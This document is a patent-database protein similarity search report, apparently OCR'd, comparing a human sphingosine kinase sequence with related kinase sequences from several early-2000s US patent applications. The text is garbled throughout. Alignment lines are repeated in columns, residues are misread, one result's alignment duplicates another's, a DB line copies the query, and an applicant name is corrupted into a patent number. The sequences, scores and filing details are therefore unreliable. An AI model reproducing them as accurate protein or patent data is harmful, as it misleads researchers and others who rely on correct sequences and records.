RESULT 1									
US-09-784-810A-2									
Sequence 2, Application US/09784810A									
Patent No. US20020082203A1									
GENERAL INFORMATION:									
APPLICANT: RASTELLI, LUCA									
TITLE OF INVENTION: NOVEL SPHINGOSINE KINASES AND NUCLEIC ACIDS ENCODING									
FILE REFERENCE: 10716-08									
CURRENT APPLICATION NUMBER: US/09/784,810A									
CURRENT FILING DATE: 2001-02-14									
PRIOR APPLICATION NUMBER: 60/182,360									
PRIOR FILING DATE: 2000-02-14									
PRIOR APPLICATION NUMBER: 60/191,261									
PRIOR FILING DATE: 2000-03-22									
NUMBER OF SEQ ID NOS: 29									
SOFTWARE: Patentin Ver. 2.1									
SEQ ID NO 2									
LENGTH: 384									
TYPE: PRT									
ORGANISM: Homo sapiens									
US-09-784-810A-2									
Query Match									
Best Local Similarity 100.0%; Score 2015; DB 10; Length 384;									
Matches 384; Conservative 0; Mismatches 0; Indels 0; Gaps 0;									
QY	1	MDPAGRGVLPKRCRVLV	1	MDPAGRGVLPKRCRVLV	1	MDPAGRGVLPKRCRVLV	1	MDPAGRGVLPKRCRVLV	1
DB	1	MDPAGRGVLPKRCRVLV	1	MDPAGRGVLPKRCRVLV	1	MDPAGRGVLPKRCRVLV	1	MDPAGRGVLPKRCRVLV	1
QY	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61
DB	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61	RELVRSEELGRDVALVYNSGDDGLMEHVYNGVLMERPMETRAIQPLCSLPGSGNALAASL	61
QY	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121
DB	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121	NHYAGEQYTNEDLTNCTLLTCRPVLSPMNLSTLTASGLNSFSVLSLAWFIADVDLE	121
QY	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181
DB	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181	SDKYRRLGEMRFTLGTFLRLAALRYRGRLATLPVGRVGFKTPASPVVYVQGVDAHLVP	181


```

1 RESULT 5
2 US-09-970-516-6
3 : Sequence 6, Application US/09970516
4 : Patent No. US20020099029A1
5 : GENERAL INFORMATION:
6 : APPLICANT: No. US20020099029A1artis AG
7 : TITLE OF INVENTION: Induction of blood vessel formation through administration of
8 : FILE REFERENCE: 4-31617 polynucleotides encoding sphingosine kinases
9 : CURRENT APPLICATION NUMBER: US/09/970,516
10 : CURRENT FILING DATE: 2001-10-04
11 : NUMBER OF SEQ ID NOS: 6
12 : SOFTWARE: PatentIn version 3.1
13 : SEQ ID NO 6
14 : LENGTH: 382
15 : TYPE: PRT
16 : ORGANISM: Mus musculus
17 : US-09-970-516-6

```

Matches	302:	Conservative	35:	Mismatches	45:	Indels	1:	Gaps	1:
Qy	1	MDPAGGRCVLP	PRCVRVLTLLNPRGKGKALQLF	FRSHVQPLLAEAISFTLMLTERRNA	60				
Db	1	MEPVECPRGILL	PRCVRVLTLLNPOGKGKALQLF	QSRVQPFLEAEITFKILTERKNHA	60				
Qy	61	RELVRSEELG	MDALVYMSGGLMHEVYVNGIMERP	DTAIQKPLCSIPAGSGNALA	120				
Db	61	RELVAEELG	MDALAVMSGGLMHEVYVNGIMERD	MTAIQKPLCSIPGSGNALA	120				
Qy	121	NHYAGVEVNT	HEDLLTNTCLLCRPVLS	PMNLLSHPTASGLRSFSVLS	LANGFTADVLE	180			
Db	121	NHYAGVEVNT	HEDLLINCLTLLCCRRRLSP	MNLLSHPTASGLRYSVLS	LSMGFAVDVLE	180			
Qy	181	SDKYRRLGEM	FTLGTEFLRLAALFTYRGR	RLATLTPVGRVFTPTPASPVV	VOOGPYDAHLVP	240			
Db	181	SEKYRRLGEL	FTVGTGFERRFLASLR	LYQQLAYLPGVTA	SKRPAS-TLVQGGPYDTHLP	239			
Qy	241	LEEOYPSHM	QVPPDEDFVLVLTALLSH	LASEMFAAPMGRCA	GYVHLEFYVAGVSRAML	300			
Db	240	LEEPYPSHM	TVPVPPDFFVLVLTLLH	TLSSLEFAAPMGRCA	GYVHLEFYVAGVSRALL	299			
Qy	301	RLFLAMEKGR	HMEYECPLYVVPVYAF	RLPEKDGAVYVAGEL	VSAYOGVHPNYFW	360			
Db	300	RLFLAMQKGM	EELDCPLVYVYAF	FLERPSQGRVFSYD	QGLMVCBAVQGYHPNYLW	359			
Qy	361	MYSGCVP	EPSPMKPQMPPEEP	383					
Db	360	MYGSRDAP	SGRDSRGPPPEEP	382					
RESULT 6									
US-09-817-676A-15									
Sequence 15, Application US/09817676A									
Patent No. US20020042101A1									
GENERAL INFORMATION:									
APPLICANT: Spiegel, Sarah									
APPLICANT: Kohama, Takafumi									
TITLE OF INVENTION: Mammalian Sphingosine Kinase Type 2 Isoforms, Cloning,									
TITLE OF INVENTION: Expression and Methods of Use Thereof									
FILE REFERENCE: 00170/HG									
CURRENT APPLICATION NUMBER: US/09/817,676A									
CURRENT FILING DATE: 2001-03-26									
PRIOR APPLICATION NUMBER: US 60/194,318									
PRIOR FILING DATE: 2000-04-03									
NUMBER OF SEQ ID NOS: 15									
SOFTWARE: PatentIn Ver. 2.0									
SEQ ID NO 15									
LENGTH: 388									
TYPE: PRT									
ORGANISM: Mus musculus									
PUBLICATION INFORMATION:									
TITLE: Molecular cloning and functional characterization of									
TITLE: murine sphingosine kinase									
JOURNAL: J. Biol. Chem.									
VOLUME: 273									
ISSUE: 37									
PAGES: 23722-23728									

Best Local Similarity 79.6%; Pred. No. 8.9e-147;
Matches 300; Conservative 35; Mismatches 41; Indels 1; Gaps 1;

```
QY 7 PRGLPPRCRVLLVNLNPGCGKALOLFPRSHVQPLAEAEISFTLMTERRNHARELYRS 66
DB 6 PRGLPPRCRVLLVNLNPGCGKALOLFQSHVQPLAEAEISFTLMTERRNHARELYCA 65
QY 67 EELGMDALVMSGDGLMHEVNGIMERPDMETAIORPLCSLPAGSGNALAASLNHYAGY 126
DB 66 EELGMDALVMSGDGLMHEVNGIMERPDMETAIORPLCSLPAGSGNALAASLNHYAGY 125
QY 127 EOVTVNEDLLINCTLLRCRPLVSPMNLISLHTASGLRYSVLSMGEFADVDLESSEKRR 185
DB 126 EOVTVNEDLLINCTLLRCRPLVSPMNLISLHTASGLRYSVLSMGEFADVDLESSEKRR 185
QY 187 LGEMRFTLGTFLRLAALRTYGRGLATLPVGRVGFRTASPVVVOGQPDVDAHLVLEQVP 246
DB 186 LGEMRFTLGTFLRLAALRTYGRGLATLPVGRVGFRTASPVVVOGQPDVDAHLVLEQVP 244
QY 247 SHMOVPEDEFLVLTALSHLASEMFAAPMGRCAGVMHLFYRAGVSRAMLRLFLAM 306
DB 245 SHMTVPEQDFLVLVLTHTLSSELFAAPMGRCAGVMHLFYRAGVSRAMLRLFLAM 304
QY 307 EKGHRMEYECPLYLVVPVAFRLPEPKDGKGVFAVDGELMSEAVOGVHPNYFMVSGCV 366
DB 305 OKGHRMELDCPLYLVHPVAFRLPEPRSGRGVFSYDGEIMVCEAVOGVHPNYFMVSGSR 364
QY 367 EPPPSKRCQMPPEEP 383
DB 365 DAPSGRDSRKGPPPEEP 381
```

RESULT 9

```
US-09-796-487-4
: Sequence 4, Application US/09796487
: Patent No. US20020042358A1
: GENERAL INFORMATION:
: APPLICANT: Spiegel, Sarah
: TITLE OF INVENTION: Sphingosin Kinase, Cloning, Expression and Methods of Use
: FILE REFERENCE: 07320001aa (2033957-0001)
: CURRENT APPLICATION NUMBER: US/09/796,487
: CURRENT FILING DATE: 2001-03-02
: PRIOR APPLICATION NUMBER: US 60/186,532
: PRIOR FILING DATE: 2000-03-03
: PRIOR APPLICATION NUMBER: US 09/530,868
: PRIOR FILING DATE: 2000-05-05
: NUMBER OF SEQ ID NOS: 17
: SOFTWARE: PatentIn version 3.1
: SEQ ID NO 4
: LENGTH: 381
: TYPE: PRT
: ORGANISM: Mus musculus
: FEATURE:
: NAME/KEY: MISC_FEATURE
: LOCATION: (1)..(381)
: OTHER INFORMATION: SEQ ID NO 4 is the peptide sequence of mspk1a in Figure 3, corre
: OTHER INFORMATION: sponding to amino acid residue 124 to 504 of SPK1a of Genbank se
: OTHER INFORMATION: quence Accession Number AF068748. SEQ ID NO 4 is equivalent to SE
: OTHER INFORMATION: Q ID NO 1 that is the amino acid sequence of SPK1a in Figure 1.
: PUBLICATION INFORMATION:
: AUTHORS: Kohama et al.,
: TITLE: Molecular cloning and functional characterization of murine sphingosine
: TITLE: kinase
: JOURNAL: Journal of Biological Chemistry
: VOLUME: 273
: ISSUE: 37
: PAGES: 23722-23728
: DATE: 1998
: DATABASE ACCESSION NUMBER: AAC61697
: DATABASE ENTRY DATE: 1998-09-26
: RELEVANT RESIDUES: (124)..(504)
: PUBLICATION INFORMATION:
: DATABASE ACCESSION NUMBER: AAC61697
```

DATABASE ENTRY DATE: 1998-09-26
RELEVANT RESIDUES: (124)..(504)
US-09-796-487-4

Query Match 78.5%; Score 1582.5; DB 10; Length 381;
Best Local Similarity 79.6%; Pred. No. 8.9e-147;
Matches 300; Conservative 35; Mismatches 41; Indels 1; Gaps 1;

```
QY 7 PRGLPPRCRVLLVNLNPGCGKALOLFPRSHVQPLAEAEISFTLMTERRNHARELYRS 66
DB 6 PRGLPPRCRVLLVNLNPGCGKALOLFQSHVQPLAEAEISFTLMTERRNHARELYCA 65
QY 67 EELGMDALVMSGDGLMHEVNGIMERPDMETAIORPLCSLPAGSGNALAASLNHYAGY 126
DB 66 EELGMDALVMSGDGLMHEVNGIMERPDMETAIORPLCSLPAGSGNALAASLNHYAGY 125
QY 127 EOVTVNEDLLINCTLLRCRPLVSPMNLISLHTASGLRYSVLSMGEFADVDLESSEKRR 186
DB 126 EOVTVNEDLLINCTLLRCRPLVSPMNLISLHTASGLRYSVLSMGEFADVDLESSEKRR 185
QY 187 LGEMRFTLGTFLRLAALRTYGRGLATLPVGRVGFRTASPVVVOGQPDVDAHLVLEQVP 246
DB 186 LGEMRFTLGTFLRLAALRTYGRGLATLPVGRVGFRTASPVVVOGQPDVDAHLVLEQVP 244
QY 247 SHMOVPEDEFLVLTALSHLASEMFAAPMGRCAGVMHLFYRAGVSRAMLRLFLAM 306
DB 245 SHMTVPEQDFLVLVLTHTLSSELFAAPMGRCAGVMHLFYRAGVSRAMLRLFLAM 304
QY 307 EKGHRMEYECPLYLVVPVAFRLPEPKDGKGVFAVDGELMSEAVOGVHPNYFMVSGCV 366
DB 305 OKGHRMELDCPLYLVHPVAFRLPEPRSGRGVFSYDGEIMVCEAVOGVHPNYFMVSGSR 364
QY 367 EPPPSKRCQMPPEEP 383
DB 365 DAPSGRDSRKGPPPEEP 381
```

RESULT 10

```
US-09-796-487-5
: Sequence 5, Application US/09796487
: Patent No. US20020042358A1
: GENERAL INFORMATION:
: APPLICANT: Spiegel, Sarah
: TITLE OF INVENTION: Sphingosin Kinase, Cloning, Expression and Methods of Use
: FILE REFERENCE: 07320001aa (2033957-0001)
: CURRENT APPLICATION NUMBER: US/09/796,487
: CURRENT FILING DATE: 2001-03-02
: PRIOR APPLICATION NUMBER: US 60/186,532
: PRIOR FILING DATE: 2000-03-03
: PRIOR APPLICATION NUMBER: US 09/530,868
: PRIOR FILING DATE: 2000-05-05
: NUMBER OF SEQ ID NOS: 17
: SOFTWARE: PatentIn version 3.1
: SEQ ID NO 5
: LENGTH: 373
: TYPE: PRT
: ORGANISM: Mus musculus
: FEATURE:
: NAME/KEY: MISC_FEATURE
: LOCATION: (1)..(373)
: OTHER INFORMATION: SEQ ID NO 5 is the peptide sequence of Mouse SPK1a in Fig. 2,
: OTHER INFORMATION: corresponding to amino acid residue 131 to 504 of SPK1a of Genb
: OTHER INFORMATION: sequence Accession Number AAC61697.
: PUBLICATION INFORMATION:
: DATABASE ACCESSION NUMBER: AAC61697
: DATABASE ENTRY DATE: 1998-09-26
: RELEVANT RESIDUES: (132)..(504)
: US-09-796-487-5
```

Query Match 77.6%; Score 1564.5; DB 10; Length 373;
Best Local Similarity 79.4%; Pred. No. 5e-145;
Matches 297; Conservative 35; Mismatches 41; Indels 1; Gaps 1;

QY 10 VLPRPCRVLYLNPGRGKAKALQTFRSHVPLLAETISFTLMTERRNHARELYVEEL 69
DB 1 LIPRPRVLYLNPGRGKAKALQTFRSHVPLLAETISFTLMTERRNHARELYVEEL 60
QY 70 GRMDALVMSGDLMEHYVNGIMERPDMETAIQKFLCSLPAGSGNALASLNHYAGYEOV 129
DB 61 GHMDALVMSGDLMEHYVNGIMERPDMETAIQKFLCSLPAGSGNALASLNHYAGYEOV 120
QY 130 TNEIDLNTCLLCRPLVSPMNLISLHTASGLRSFVSLAMGFIADVDLESCKYRRLGE 189
DB 121 TNEIDLNTCLLCRPLVSPMNLISLHTASGLRSFVSLAMGFIADVDLESCKYRRLGE 180
QY 190 MRLTGLTFLRLAALRTYKGLALPLPGRGVGFKTPASPVVVOOGPYDAHLVPLEEQVPSHW 249
DB 181 IRFVGTGFPRFLASRLTYQGLAYLPVGTASAKRPAS-TLVQKGPVDTHTVPLEEQVPSHW 239
QY 250 QVAPDEPVLVIALHSHLASSEMFAPMGRCAAGVNHLYVYRAGVSRAALLRLFLAMKG 309
DB 240 TVVEQDFLVLVLLHHTHLSSELFAAPMGRCFAGVNHLYVYRAGVSRAALLRLFLAMKG 299
QY 310 RHMECEPVLVYVYVAFLEPRDGRKGVAVDGLVWSEAVQGVHPNTFMVSGCEPDP 369
DB 300 KHMEDCPYLHVAVVAFLEPRDGRKGVAVDGLVWSEAVQGVHPNTFMVSGCEPDP 359
QY 370 PSWKPOQMPPEEP 383
DB 360 SGDRSRGPPPEEP 373

RESULT 11

US-10-023-282-328
Sequence 328, Application US/10023282

Publication No. US20030092893a1

GENERAL INFORMATION:

APPLICANT: Young et al.

TITLE OF INVENTION: 207 Human Secreted Proteins

FILE REFERENCE: P2007P1

CURRENT APPLICATION NUMBER: US/10/023,282

EARLIER FILING DATE: 2001-12-20

EARLIER APPLICATION NUMBER: 09/205,258

EARLIER FILING DATE: 1998-12-04

EARLIER APPLICATION NUMBER: PCT/US98/11422

EARLIER FILING DATE: 1998-06-04

EARLIER APPLICATION NUMBER: 60/048,885

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/049,375

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,881

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,880

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,896

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/049,020

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,876

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,895

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,884

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,894

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,964

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,882

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,899

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,893

EARLIER FILING DATE: 1997-06-06

EARLIER APPLICATION NUMBER: 60/048,893

EARLIER APPLICATION NUMBER: 60/048,900
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,901
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,892
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,915
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049,019
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,970
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,972
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,916
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049,373
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,875
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/049,374
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,917
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,949
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,974
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,883
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,897
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,898
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,962
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,963
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,877
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/048,878
EARLIER FILING DATE: 1997-06-06
EARLIER APPLICATION NUMBER: 60/070,923
EARLIER FILING DATE: 1997-12-18
EARLIER APPLICATION NUMBER: 60/092,921
EARLIER FILING DATE: 1998-07-15
EARLIER APPLICATION NUMBER: 60/094,657
EARLIER FILING DATE: 1998-07-30
NUMBER OF SEQ ID NOS: 1227
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 328
LENGTH: 293
TYPE: PRT
ORGANISM: Homo sapiens
FEATURE:
NAME/KEY: SITE
LOCATION: (36)
OTHER INFORMATION: Xaa equals any of the naturally occurring L-amino acids
US-10-023-282-328

Query Match 73.8%; Score 1487; DB 9; Length 293;
Best Local Similarity 96.6%; Pred. No. 1,4e-137;
Matches 283; Conservative 2; Mismatches 8; Indels 0; Gaps 0;

QY 92 MERPDWETAIQKFLCSLPAGSGNALASLNHYAGYEQVTEDELLTNTCLLCRPLVSPMN 151
DB 1 MERPDWETAIQKFLCSLPAGSGNALASLNHYAGYEQVTEDELLTNTCLLCRPLVSPMN 60
QY 151 LLSLTASGLRSFVSLAMGFIADVDLESCKYRRLGEKRTTGLTFLRLAALRTYKGRLA 211
DB 61 LLSLTASGLRSFVSLAMGFIADVDLESCKYRRLGEKRTTGLTFLRLAALRTYKGRLA 120
QY 212 TLVGRGVGFKTPASPVVVOOGPYDAHLVPLEEQVPSHWQVAPDEPVLVIALHSHLASE 271

Db 121 YLPGRVSGSKTPASPVVVOGQPVDAHLVPLEEPVSHMTVVPDDEPVLVLLSHLSE 180
QY 272 MFAAPMGCAAGVHMLFYVRAGVSRAMLRLFLAMEKRHRHECPYLYVPPVAFRLRP 331
Db 181 MFAAPMGCAAGVHMLFYVRAGVSRAMLRLFLAMEKRHRHECPYLYVPPVAFRLRP 240
QY 332 KDGGVFAVDGELMVAEAVOGVHPNFMVSGCEPPPSMKPQOMPPEEPL 384
Db 241 KDGGVFAVDGELMVAEAVOGVHPNFMVSGCEPPPSMKPQOMPPEEPL 293

RESULT 12

US-09-796-487-9
; Sequence 9, Application US/09796487
; Patent No. US20020042358A1
; GENERAL INFORMATION:
; APPLICANT: Spiegel, Sarah
; TITLE OF INVENTION: Sphingosin Kinase, Cloning, Expression and Methods of Use
; FILE REFERENCE: 07320001a (2033957-0001)
; CURRENT APPLICATION NUMBER: US/09/796,487
; CURRENT FILING DATE: 2001-03-02
; PRIOR APPLICATION NUMBER: US 60/186,532
; PRIOR FILING DATE: 2000-03-03
; PRIOR APPLICATION NUMBER: US 09/530,868
; PRIOR FILING DATE: 2000-05-05
; NUMBER OF SEQ ID NOS: 17
; SOFTWARE: Patent version 3.1
; SEQ ID NO 9
; LENGTH: 204
; TYPE: PRT
; ORGANISM: Unknown
; FEATURE:
; OTHER INFORMATION: Putative kinase sequence obtained by assembling sequences from 5
; OTHER INFORMATION: several human ESTs (accession numbers D31133, AA232791, W63556, AA
; NAME/KEY: MISC_FEATURE
; LOCATION: (1)..(204)
; OTHER INFORMATION: Corresponding to peptide sequence Putative Human in Figure 2.
US-09-796-487-9

Query Match 46.2%; Score 930.5; DB 10; Length 204;
Best Local Similarity 57.8%; Pred. No. 3.3e-83;
Matches 197; Conservative 4; Mismatches 3; Indels 137; Gaps 2;
QY 21 LNPGRGKALQPLFRSHVQPLLAFAEISFTLTLTRRNHARELVASEELGRDIALVMSG 80
Db 1 LNPGRGKALQPLFRSHVQPLLAFAEISFTLTLTRRNHARELVASEELGRDIALVMSG 60
QY 81 DGLMHEVNGLMERPDMEFAIOKPLCSLPAGSGNALASLNHYAGYEQTNEDLLTCTL 140
Db 61 DGLMHEVNGLMERPDMEFAIOKPLCSLPAGSGNALASLNHYAGYE----- 107
QY 141 LILCRPLVSPMNLSTLHTASGLRSFVSLANGFIADVLESDKYRRLGEMRFTLTGTLRL 200
Db 108 -----LFSVLISLWGFINDVLESEKYRRLGEMRFTLTGTLRL 145
QY 201 AALRTYRGRLATLPYGRVGFETPPASPVVVOGQPVDAHLVPLEEQVPSHQVVPDDEPVLV 260
Db 146 AALRTYRGRLATLPYGRVGSK----- 166
QY 261 LALLSHLASEMFAAPMGCAAGVHMLFYVRAGVSRAMLRLFLAMEKRHRHECPYLY 320
Db 167 ----- 166
QY 331 YVPVAFRLRPDKGKGFVAVDGLMVAEAVOGVHPNFMVSGCEPPPSMKP 361
Db 167 ---VAFRLRPDKGKGFVAVDGLMVAEAVOGVHPNFMVSGCEPPPSMKP 204

RESULT 13
US-09-817-676A-12
; Sequence 12, Application US/09817676A

; Patent No. US20020042101A1
; GENERAL INFORMATION:
; APPLICANT: Spiegel, Sarah
; APPLICANT: Kohama, Takafumi
; TITLE OF INVENTION: Mammalian Sphingosine Kinase Type 2 Isoforms, Cloning,
; FILE REFERENCE: 00170/HG
; CURRENT APPLICATION NUMBER: US/09/817,676A
; CURRENT FILING DATE: 2001-03-26
; PRIOR APPLICATION NUMBER: US 60/194,318
; PRIOR FILING DATE: 2000-04-03
; NUMBER OF SEQ ID NOS: 15
; SOFTWARE: Patent ver. 2.0
; SEQ ID NO 12
; LENGTH: 617
; TYPE: PRT
; ORGANISM: Mus musculus
US-09-817-676A-12

Query Match 43.4%; Score 875; DB 10; Length 617;
Best Local Similarity 38.9%; Pred. No. 4.4e-77;
Matches 187; Conservative 63; Mismatches 111; Indels 120; Gaps 4;
QY 10 YLPGRVTLVLLNPGRGKALQPLFRSHVQPLLAFAEISFTLTLTRRNHARELVASEEL 69
Db 141 LILCRPLVSPMNLSTLHTASGLRSFVSLANGFIADVLESDKYRRLGEMRFTLTGTLRL 200
QY 70 GRMDALVMSGDGLMHEVNGLMERPDMEFAIOKPLCSLPAGSGNALASLNHYAGYEOV 129
Db 201 SEMEGIVTVSGDGLIYEVLNGLIDRPDWDVAVRMPIGVLPCCSGNALAGAVSHHGFEQV 260
QY 130 TNEOLLTCTLTLICRPVLSPLMNLSTLHTASGLRSFVSLANGFIADVLESDKYRRLGE 189
Db 261 VGDVLLNCSLILICGSGHPDLSVTLASGRCFSLVAMGFLSDVDSERRALGS 320
QY 190 MFTLTGTLRLAALTYRGLATLPV----- 215
Db 321 ARFTIGAVLGASLSTYRGLSTLPATTEPALPIGHSLPRAKSELVLAAPAPAAHTSP 380
QY 216 ----- 215
Db 381 LHRVSDLPPLPOPALVSPGSPEDLPDLISLNGGPELTGDMGAGDAPLSPDPLPSSP 440
QY 216 -----GRVGFETP--ASPVVVOGQPVDAHLVPLEEQVPSHQVVPD 254
Db 441 NALKTAQSLPAEGPEPPASSGFLPPIHSAPEASTWGVDDLPLPPLPQDQVTTBG 500
QY 255 EDFVLVLLSHLASEMFAAPMGCAAGVHMLFYVRAGVSRAMLRLFLAMEKRHRMEY 314
Db 501 E-FVLMGLITLSHLCADLMAAPHARFDGCVHLCVVRGISRAALLRIFLAMEHGNHSL 559
QY 315 ECPYLYVPPVAFRLRPDKGKGFVAVDGLMVAEAVOGVHPNFMVSGCEPPPSMKP 374
Db 560 GCPHIGVAAARAFRLPPLPRLITVDELVEYGIQAVHFGLATLTG----PAGOKP 615
QY 375 Q 375
Db 616 Q 616

RESULT 14
US-09-817-676A-14
; Sequence 14, Application US/09817676A
; Patent No. US20020042101A1
; GENERAL INFORMATION:
; APPLICANT: Spiegel, Sarah
; APPLICANT: Kohama, Takafumi
; TITLE OF INVENTION: Mammalian Sphingosine Kinase Type 2 Isoforms, Cloning,
; FILE REFERENCE: 00170/HG
; CURRENT APPLICATION NUMBER: US/09/817,676A
; CURRENT FILING DATE: 2001-03-26
; PRIOR APPLICATION NUMBER: US 60/194,318

Mon Jul 14 09:16:40 2003

us-09-784-810a-2.rapb

Page 8

PRIOR FILING DATE: 2000-04-03
NUMBER OF SEQ ID NOS: 15
SOFTWARE: PatentIn Ver. 2.0
SEQ ID NO 14
LENGTH: 618
TYPE: PRT
ORGANISM: Homo sapiens
US-09-817-676a-14

Query Match 42.5%; Score 856.5; DB 10; Length 618;
Best Local Similarity 38.6%; Pred. No. 2.9e-75;
Matches 189; Conservative 63; Mismatches 111; Indels 127; Gaps 6;

QY 10 VLPRPCRVLLNPPGKGKALQLFRSHVQPLAEAEISFTLMTERRNHARELVSEEL 69
DB 140 LPRPRRLILLVPPGGGGLAMQCKNHVLPMTSEAGLSFNLIQTERONHARELVQSLT 199
QY 70 GRMDALVWMSGDLNHEVYNGIMERPDMETAIQKPICSLPAGSGNALAASLNHYAGYEQV 129
DB 200 SEMDGIYVSGDLNHEVYNGIMERPDMETAIQKPICSLPAGSGNALAASLNHYAGYEQV 259
QY 130 TNEDLTNTCTLLCRPVLSPMNLISLTASGLRSFVSLSANGFIADVDESCKYRRLGE 189
DB 260 LGIDLTLNCSLLCRGCGHPDLDLSVTLASGRCFSFLSVANGFVSVDVIOSEFRALGS 319
QY 190 MREFTIGFLRLAALRTYGRRLATLPV----- 215
DB 320 ARFTLGTVLGLATLHTYGRRLSYLPATVEPASPTPAHSIPRAKSELTLTPDPAPMAHSP 379
QY 216 ----- 215
DB 380 LHRVSQDLPLPLQPALASPGSPREPLTILSINGGPELAGDWGAGADAPLSPDLLSSPP 439
QY 216 --GRVGEKTPAS--PVYVQO-----GPVDAHLVPLEEYQPSHMOYVP 253
DB 440 GSPKALHSVSEGAPVLPSSGGLPPTPDARVAGASTCGPPDLPPLGTPLPPDM-VTL 498
QY 254 DEDFVLVLAISHLASEKFAAPMGRCAGVNHLYYRACVSRAMLRLFLAMEKGRME 313
DB 499 EGDVFLMLAISPSHGLADLVAAHPARFDDGLVHLCWVRSISRAALLRFLAMEKGRSHFS 558
QY 314 YECFVLYVYVVAFFRLPEKDGKGFVAVDGLMVSSEAVOGVHNPFMYVSGCVERPPSMK 373
DB 559 LGCPLGTAAARAFAFRLEPLTPRGVLTVDGEVEYGPLQAOHMPGIGTLLTG----PQGC- 613
QY 374 PQGMPPEEP 383
DB 614 -----PQREP 618

RESULT 15
US-09-970-516-4
Sequence 4, Application US/09970516
Patent No. US20020099029A1
GENERAL INFORMATION:
APPLICANT: No. US20020099029A1art1s AG
TITLE OF INVENTION: Induction of blood vessel formation through administration of
FILE REFERENCE: 4-31617
CURRENT APPLICATION NUMBER: US/09/970,516
FILING DATE: 2001-10-04
NUMBER OF SEQ ID NOS: 6
SOFTWARE: PatentIn version 3.1
SEQ ID NO 4
LENGTH: 618
TYPE: PRT
ORGANISM: Homo sapiens
US-09-970-516-4

Query Match 42.5%; Score 856.5; DB 10; Length 618;
Best Local Similarity 38.6%; Pred. No. 2.9e-75;
Matches 189; Conservative 63; Mismatches 111; Indels 127; Gaps 6;

